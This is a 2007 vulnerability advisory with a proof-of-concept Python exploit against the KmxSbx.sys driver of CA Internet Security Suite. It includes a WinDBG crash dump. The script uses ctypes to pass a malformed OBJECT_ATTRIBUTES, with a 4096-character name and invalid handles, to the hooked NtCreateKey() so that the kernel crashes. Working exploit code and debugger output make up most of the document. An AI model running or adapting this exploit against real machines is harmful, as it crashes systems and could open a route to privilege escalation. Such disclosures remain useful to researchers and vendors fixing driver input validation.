"""
[05.08.2007]
Computer Associates: Internet Security Suite - NtCreateKey() Vulnerability
------------------------------------------------------------------------------

    Version: 3.2.0.7
    Driver version: KmxSbx.sys - 6.0.0.78
        HIPS Registry, Spawning and Devices Guard driver

    Description:
        CA Internet Security Suite fails to validate user-mode provided
        arguments to the hooked function NtCreateKey() in KmxSbx.sys, which
        is been executed in kernel-mode.

    Impact: System crash; possible privilege escalation not verified.

    Author: posidron
    
    Download: http://consumerdownloads.ca.com/consumer/apps/0/iss_de_32.exe

    Reference: http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Key/NtCreateKey.html
    
    System: Windows XP Kernel Version 2600 (Service Pack 2)

    Execution: python CA-NtCreateKey.py

-[WinDBG]---------------------------------------------------------------------

MODULE_NAME: KmxSbx

EXCEPTION_CODE: (NTSTATUS) 0xc0000005

FAULTING_IP: 
KmxSbx+b3dd
aa5bf3dd 8b4608          mov     eax,dword ptr [esi+8]

TRAP_FRAME:  a9807ccc -- (.trap 0xffffffffa9807ccc)
ErrCode = 00000000
eax=00000000 ebx=aa5bf3c0 ecx=00000000 edx=0022fac8 esi=00000018 edi=a9807d64
eip=aa5bf3dd esp=a9807d40 ebp=a9807d64 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010206
KmxSbx+0xb3dd:
aa5bf3dd 8b4608          mov     eax,dword ptr [esi+8] ds:0023:00000020=????????

DEFAULT_BUCKET_ID:  COMMON_SYSTEM_FAULT

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
a9807d64 7c91eb94 badb0d00 0022fac8 00000000 KmxSbx+0xb3dd
a9807d68 badb0d00 0022fac8 00000000 00000000 0x7c91eb94
a9807d6c 0022fac8 00000000 00000000 00000000 0xbadb0d00
a9807d70 00000000 00000000 00000000 00000000 0x22fac8

------------------------------------------------------------------------------
"""

from ctypes import *

# Registry Specific Access Rights
KEY_QUERY_VALUE          = 0x00000001
KEY_SET_VALUE            = 0x00000002
KEY_CREATE_SUB_KEY       = 0x00000004
KEY_ENUMERATE_SUB_KEYS   = 0x00000008
KEY_NOTIFY               = 0x00000010
KEY_CREATE_LINK          = 0x00000020

DELETE                   = 0x00010000
READ_CONTROL             = 0x00020000
WRITE_DAC                = 0x00040000
WRITE_OWNER              = 0x00080000
SYNCHRONIZE              = 0x00100000

STANDARD_RIGHTS_REQUIRED = 0x000F0000

STANDARD_RIGHTS_READ     = READ_CONTROL
STANDARD_RIGHTS_WRITE    = READ_CONTROL
STANDARD_RIGHTS_EXECUTE  = READ_CONTROL

STANDARD_RIGHTS_ALL      = 0x001F0000
SPECIFIC_RIGHTS_ALL      = 0x0000FFFF

KEY_READ        = ((STANDARD_RIGHTS_READ |
                    KEY_QUERY_VALUE |
                    KEY_ENUMERATE_SUB_KEYS |
                    KEY_NOTIFY) & (~SYNCHRONIZE)) 
KEY_WRITE       = ((STANDARD_RIGHTS_WRITE |
                    KEY_SET_VALUE |
                    KEY_CREATE_SUB_KEY) & (~SYNCHRONIZE)) 
KEY_EXECUTE     = ((KEY_READ) & (~SYNCHRONIZE)) 
KEY_ALL_ACCESS  = ((STANDARD_RIGHTS_ALL |
                    KEY_QUERY_VALUE |
                    KEY_SET_VALUE |
                    KEY_CREATE_SUB_KEY |
                    KEY_ENUMERATE_SUB_KEYS |
                    KEY_NOTIFY |
                    KEY_CREATE_LINK) & (~SYNCHRONIZE)) 

# Open/Create Options
REG_OPTION_RESERVED         = 0
REG_OPTION_NON_VOLATILE     = 0 
REG_OPTION_VOLATILE         = 1 
REG_OPTION_CREATE_LINK      = 2 
REG_OPTION_BACKUP_RESTORE   = 4
REG_OPTION_OPEN_LINK        = 8  

# Key creation/open disposition
REG_CREATED_NEW_KEY         = 1 
REG_OPENED_EXISTING_KEY     = 2

# OBJECT_ATTRIBUTES Attributes
OBJ_INHERIT             = 0x00000002
OBJ_PERMANENT           = 0x00000010
OBJ_EXCLUSIVE           = 0x00000020
OBJ_CASE_INSENSITIVE    = 0x00000040
OBJ_OPENIF              = 0x00000080
OBJ_OPENLINK            = 0x00000100
OBJ_KERNEL_HANDLE       = 0x00000200
OBJ_FORCE_ACCESS_CHECK  = 0x00000400
OBJ_VALID_ATTRIBUTES    = 0x000007F2


class _OBJECT_ATTRIBUTES(Structure):
    _fields_ = [("Length", c_ulong),
                ("RootDirectory", c_int),
                ("ObjectName", c_wchar_p),
                ("Attributes", c_ulong),
                ("SecurityDescriptor", c_void_p),
                ("SecurityQualityOfService", c_void_p)
                ]
    
    
def InitializeObjectAttributes(ObjectAttributes,
                               ObjectName,
                               Attributes,
                               RootDirectory,
                               SecurityDescriptor):
    ObjectAttributes.Length                     = sizeof(_OBJECT_ATTRIBUTES)
    ObjectAttributes.RootDirectory              = RootDirectory
    ObjectAttributes.Attributes                 = Attributes
    ObjectAttributes.ObjectName                 = ObjectName
    ObjectAttributes.SecurityDescriptor         = SecurityDescriptor
    ObjectAttributes.SecurityQualityOfService   = None


class Logger(object):
    def __init__(self, logname):
        self.logname = logname

    def __call__(self, message):
        print message
        f = open(self.logname, "w")
        f.write(message)
        f.close()


if __name__ == "__main__":
    log = Logger("ca-iss.txt")
    
    NTDLL = windll.LoadLibrary("ntdll")

    """"
    NTSTATUS
        NtCreateKey(
            OUT PHANDLE pKeyHandle,
            IN ACCESS_MASK DesiredAccess,
            IN POBJECT_ATTRIBUTES ObjectAttributes,
            IN ULONG TitleIndex,
            IN PUNICODE_STRING Class OPTIONAL,
            IN ULONG CreateOptions,
            OUT PULONG Disposition OPTIONAL
        ); 
    """
    
    log("NtCreateKey()\n")
    ObjectAttributes = _OBJECT_ATTRIBUTES()
    InitializeObjectAttributes(ObjectAttributes,
                               c_wchar_p("A"*4096),
                               OBJ_CASE_INSENSITIVE,
                               c_int(),
                               None
                               )
    
    rval = NTDLL.NtCreateKey(c_int(),
                      KEY_ALL_ACCESS,
                      ObjectAttributes,
                      0,
                      None,
                      REG_OPTION_VOLATILE,
                      c_int()
                      )
    print rval
